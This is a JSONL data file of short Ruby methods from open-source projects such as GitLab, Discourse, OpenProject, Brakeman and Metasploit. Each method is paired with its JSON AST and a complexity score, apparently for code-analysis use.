{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":446,"raw_source":"def process_else(exp)\n    add_to_score :branch\n    penalize_by 0.1 do\n      process_until_empty exp\n    end\n    s()\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_else\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_score\",{\"type\":\"sym\",\"children\":[\"branch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"penalize_by\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process_until_empty\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"s\"]}]}]}","id":"c609da3e-1bb2-4dcc-b50d-629ad8c36ed6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support_specs/matchers/internal_events_matchers_spec.rb","start_line":16,"raw_source":"def track_event(event: nil, user: nil, group: nil)\n    Gitlab::InternalEvents.track_event(\n      event || 'g_edit_by_sfe',\n      user: user || user_1,\n      namespace: group || group_1\n    )\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_event\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"event\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"InternalEvents\"]},\"track_event\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"g_edit_by_sfe\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user_1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group_1\"]}]}]}]}]}]}","id":"a135e608-146f-4710-b54e-daa73130b1f2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/rescanner.rb","start_line":97,"raw_source":"def all_warnings\n    @all_warnings ||= @tracker.filtered_warnings\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"all_warnings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_warnings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"filtered_warnings\"]}]}]}","id":"af3486e7-df39-4249-8066-a5a26813064a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/parallel_rspec_runner.rb","start_line":143,"raw_source":"def node_tests\n      allocator.node_tests\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"node_tests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allocator\"]},\"node_tests\"]}]}","id":"fe5f3fd8-c964-4854-9a11-f96ce90164b3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":475,"raw_source":"def is_vmware?\n    vmm_vendor == 'vmware'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_vmware?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vmm_vendor\"]},\"==\",{\"type\":\"str\",\"children\":[\"vmware\"]}]}]}","id":"c7536164-298f-455d-b705-48b0ab1dbb17"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/config.rb","start_line":82,"raw_source":"def start_date\n      DateTime.parse(config[:start_date])\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"start_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_date\"]}]}]}]}","id":"01aa3405-01b9-45f4-995e-c9f392d7bc3e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/workers/cost_query/xls/export_job.rb","start_line":31,"raw_source":"def xls_report_result\n    params = { query:, project:, cost_types: }\n    content = ::OpenProject::Reporting::CostEntryXlsTable.generate(params).xls\n    time = Time.current.strftime(\"%Y-%m-%d-T-%H-%M-%S\")\n    export_title = \"cost-report-#{time}.xls\"\n\n    ::Exports::Result.new(format: :xls,\n                          title: export_title,\n                          mime_type: \"application/vnd.ms-excel\",\n                          content:)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"xls_report_result\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[null,\"query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cost_types\"]},{\"type\":\"send\",\"children\":[null,\"cost_types\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenProject\"]},\"Reporting\"]},\"CostEntryXlsTable\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"xls\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d-T-%H-%M-%S\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"export_title\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cost-report-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"str\",\"children\":[\".xls\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exports\"]},\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"xls\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"export_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"str\",\"children\":[\"application/vnd.ms-excel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"aaa4485c-c15e-4d8f-9149-96a02a94277a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/metrics/query.rb","start_line":88,"raw_source":"def initialize\n          super\n          self.buckets = []\n          self.marks = []\n          self.job_results = Hash.new { |h, k| h[k] = JobResult.new }\n        end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"buckets=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"marks=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_results=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobResult\"]},\"new\"]}]}]}]}]}]}","id":"8e8d97be-5237-49a6-976d-1f4806432a60"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/wiki_controller.rb","start_line":228,"raw_source":"def edit_parent_page\n    return render_403 unless editable?\n\n    @parent_pages = @wiki.pages.includes(:parent) - @page.self_and_descendants\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_parent_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editable?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_403\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent_pages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wiki\"]},\"pages\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"self_and_descendants\"]}]}]}]}]}","id":"ee963d80-a30c-4bbe-8d46-62b6db0bf183"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/photoprism/import_geodata.rb","start_line":73,"raw_source":"def log_no_data\n    Rails.logger.info 'No geodata found for Photoprism'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_no_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"No geodata found for Photoprism\"]}]}]}","id":"1d6f638e-b598-44d7-af1e-f5994e302430"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/memoized_attributes_test.rb","start_line":39,"raw_source":"def test_memoization_with_fetch_multi_should_not_break_dirty_tracking_with_empty_cache\n    item = Item.create!\n\n    IdentityCache.cache.with_memoization do\n      Item.fetch_multi(item.id).first.title = \"my title\"\n      Item.fetch_multi(item.id).first.update!(title: \"my title\")\n    end\n\n    assert_equal(\"my title\", Item.find(item.id).title)\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_memoization_with_fetch_multi_should_not_break_dirty_tracking_with_empty_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"with_memoization\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]}]},\"first\"]},\"title=\",{\"type\":\"str\",\"children\":[\"my title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]}]},\"first\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"my title\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"my title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]}]},\"title\"]}]}]}]}","id":"e16b8800-ad92-460c-ae04-797941b96469"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/mutations/ci/runner/delete_spec.rb","start_line":129,"raw_source":"def setup_service_expectations(runner)\n      expect_next_instance_of(::Ci::Runners::UnregisterRunnerService, runner, current_ctx[:current_user]) do |service|\n        expect(service).to receive(:execute).once.and_call_original\n      end\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_service_expectations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect_next_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Runners\"]},\"UnregisterRunnerService\"]},{\"type\":\"lvar\",\"children\":[\"runner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_ctx\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"execute\"]}]},\"once\"]},\"and_call_original\"]}]}]}]}","id":"2b6213ee-e13f-4e64-8d58-a03692061d14"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/setting/self_registration.rb","start_line":59,"raw_source":"def self.selected?(val)\n      key(value: Setting.self_registration) == val.to_sym\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"selected?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"self_registration\"]}]}]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_sym\"]}]}]}","id":"5a0992a6-02d8-417c-8d69-93d0bbb0d043"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/mssql.rb","start_line":9,"raw_source":"def initialize(rstream, opts = {})\n    @client = opts.fetch(:client)\n    self.platform = opts.fetch(:platform)\n    self.arch = opts.fetch(:arch)\n    self.console = ::Rex::Post::MSSQL::Ui::Console.new(self, opts)\n\n    super(rstream, opts)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rstream\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"client\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"arch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"console=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"MSSQL\"]},\"Ui\"]},\"Console\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"bfcd7665-27f0-4e7b-aaa4-53a75d5bfef8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/auth/google_oauth2_authenticator.rb","start_line":87,"raw_source":"def raw_groups(uid)\n    groups = []\n    page_token = nil\n    groups_url = \"https://#{GROUPS_DOMAIN}#{GROUPS_PATH}\"\n    client = build_service_account_client\n    return if client.nil?\n\n    loop do\n      params = { userKey: uid }\n      params[:pageToken] = page_token if page_token\n\n      response = client.get(groups_url, params: params, raise_errors: false)\n\n      if response.status == 200\n        response = response.parsed\n        groups.push(*response[\"groups\"])\n        page_token = response[\"nextPageToken\"]\n        break if page_token.nil?\n      else\n        Rails.logger.error(\n          \"[Discourse Google OAuth2] failed to retrieve groups for #{uid} - status #{response.status}\",\n        )\n        break\n      end\n    end\n\n    groups\n  end","complexity_score":35.25,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"page_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"groups_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GROUPS_DOMAIN\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GROUPS_PATH\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[null,\"build_service_account_client\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userKey\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pageToken\"]},{\"type\":\"lvar\",\"children\":[\"page_token\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"groups_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_errors\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"groups\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"page_token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nextPageToken\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_token\"]},\"nil?\"]},{\"type\":\"break\",\"children\":[]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Discourse Google OAuth2] failed to retrieve groups for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]}]},{\"type\":\"str\",\"children\":[\" - status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]}]}]}]},{\"type\":\"break\",\"children\":[]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}","id":"4f68bbde-32de-4200-999f-70bd80da005b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/incoming_links_report.rb","start_line":190,"raw_source":"def self.topic_count_per_domain(domains, options = {})\n    # COUNT(DISTINCT) is slow\n    per_domain(domains, options).count(\"DISTINCT posts.topic_id\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"topic_count_per_domain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domains\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"per_domain\",{\"type\":\"lvar\",\"children\":[\"domains\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"count\",{\"type\":\"str\",\"children\":[\"DISTINCT posts.topic_id\"]}]}]}","id":"cc0db5df-e79d-4b3b-874c-665a5b9f0f57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/create_package_service.rb","start_line":66,"raw_source":"def current_package_version_exists?\n        ::Packages::TerraformModule::Package\n          .for_projects(project)\n          .with_name(name)\n          .with_version(params[:module_version])\n          .not_pending_destruction\n          .exists?\n      end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_package_version_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"TerraformModule\"]},\"Package\"]},\"for_projects\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"with_name\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"with_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"module_version\"]}]}]},\"not_pending_destruction\"]},\"exists?\"]}]}","id":"0eb1d10e-6047-4dd7-bc26-28bc663ad34f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":1629,"raw_source":"def test_before_filter_block\n    assert_warning :type => :warning,\n      :warning_code => 13,\n      :fingerprint => \"f8081023e9a6026264eaee41a4a1f520fc98ee5dbcba2129245e6a3873cb6409\",\n      :warning_type => \"Dangerous Eval\",\n      :line => 7,\n      :message => /^Parameter\\ value\\ evaluated\\ as\\ code/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/another_controller.rb\",\n      :method => :before_filter,\n      :user_input => s(:call, s(:call, nil, :params), :[], s(:lit, :x))\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_before_filter_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"f8081023e9a6026264eaee41a4a1f520fc98ee5dbcba2129245e6a3873cb6409\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Dangerous Eval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Parameter\\\\ value\\\\ evaluated\\\\ as\\\\ code\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/another_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"before_filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]}]}]}]}]}]}","id":"c94f46da-5968-47d9-a9e0-91ae6cb5c033"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/wp/attributes.rb","start_line":60,"raw_source":"def write_long_text_custom_field_label(label)\n    style = styles.wp_attributes_table_label\n    with_margin(styles.markdown_field_label_margins) do\n      pdf.formatted_text([style.merge({ text: label })], style)\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"write_long_text_custom_field_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"wp_attributes_table_label\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"markdown_field_label_margins\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"formatted_text\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"style\"]}]}]}]}]}","id":"ffa4ea61-752d-49e2-8e31-518e7d072b78"}
